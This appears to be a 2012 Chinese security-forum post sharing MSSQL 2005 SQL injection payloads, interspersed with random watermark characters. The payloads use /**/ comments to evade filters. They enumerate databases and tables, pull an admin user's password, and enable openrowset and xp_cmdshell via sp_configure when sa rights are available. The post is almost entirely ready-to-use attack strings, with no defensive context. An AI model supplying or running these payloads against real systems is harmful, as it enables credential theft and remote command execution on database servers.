找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
: T1 k- e2 ~- f, e
9 l. c9 \/ P7 r. f+ k

5 \4 N( V, C% p( l8 b[Copy to clipboard]CODE:0 E' a. L9 a$ E2 J, K/ ?
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--+ L! g) D- o) _0 t" P6 [7 w: r$ n
+ G/ A9 N. N1 }4 I/ ]6 x% c0 B9 y+ k6 R
爆表语句,somedb部份是所要列的数据库,红色数字1累加
; Z3 i, ]+ k5 F) ?/ R" g9 }& d1 Z: {7 J1 L' |- C  k. N3 s" k

& C+ u3 J5 d5 ^3 o, W1 x& J' t[Copy to clipboard]CODE:
$ C0 r& o& R2 w5 J, ?6 b, Y/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
$ a& r) h% `. F- V! Y5 o" d
4 L9 d0 r) @( V9 M/ h: _爆字段语句,爆表admin里user='icerover'的密码段
" _: H: D5 k" G8 R) k6 ]; ?5 v) `% J0 r7 ]. L0 G
. j7 s& s8 p( y1 @: Y3 s
[Copy to clipboard]CODE:
/ P7 B4 r$ S, p, d**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--9 h- S5 z: F( g$ O& H7 W2 j$ I

+ z  A: F5 q1 m1 |3 _: Bmssql2005默认没有开xp_cmdshell的,openrowset也不能用
4 K; k5 f$ {7 P9 \8 Y如果是sa权限,可以这样来开启
: S1 @6 ~% w3 B* q4 c3 }开启openrowset
; T& D( A$ x" h+ g7 C, I  D* Y6 h* k- `) V. x+ _( x* f" r

7 k& z" b/ G* x: x1 R0 K[Copy to clipboard]CODE:
1 C) K8 m1 Y& X$ W. R/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
' W& Q* u2 V+ @' |) ?/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
& F: j6 E$ x* G% s! N2 Q
" U7 Q; V$ W: s- d6 m  t开启xp_cmdshell
& R3 t" P, T1 C: Q6 U. j7 W
$ L; _2 N' l% R- S. c+ q" q! w
( `: c) g" @  A8 d  E[Copy to clipboard]CODE:
3 s, _2 z" u; {9 ~  h6 g4 g+ x! ~EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
- x1 B; \- K! S. b( QEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
0 k% ^2 s! T& W- r" m2 P
) }" x, ]5 s9 Z, R. \ok,over~~晚安
  n3 U- ?* s. }4 P4 k) V9 j- e9 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表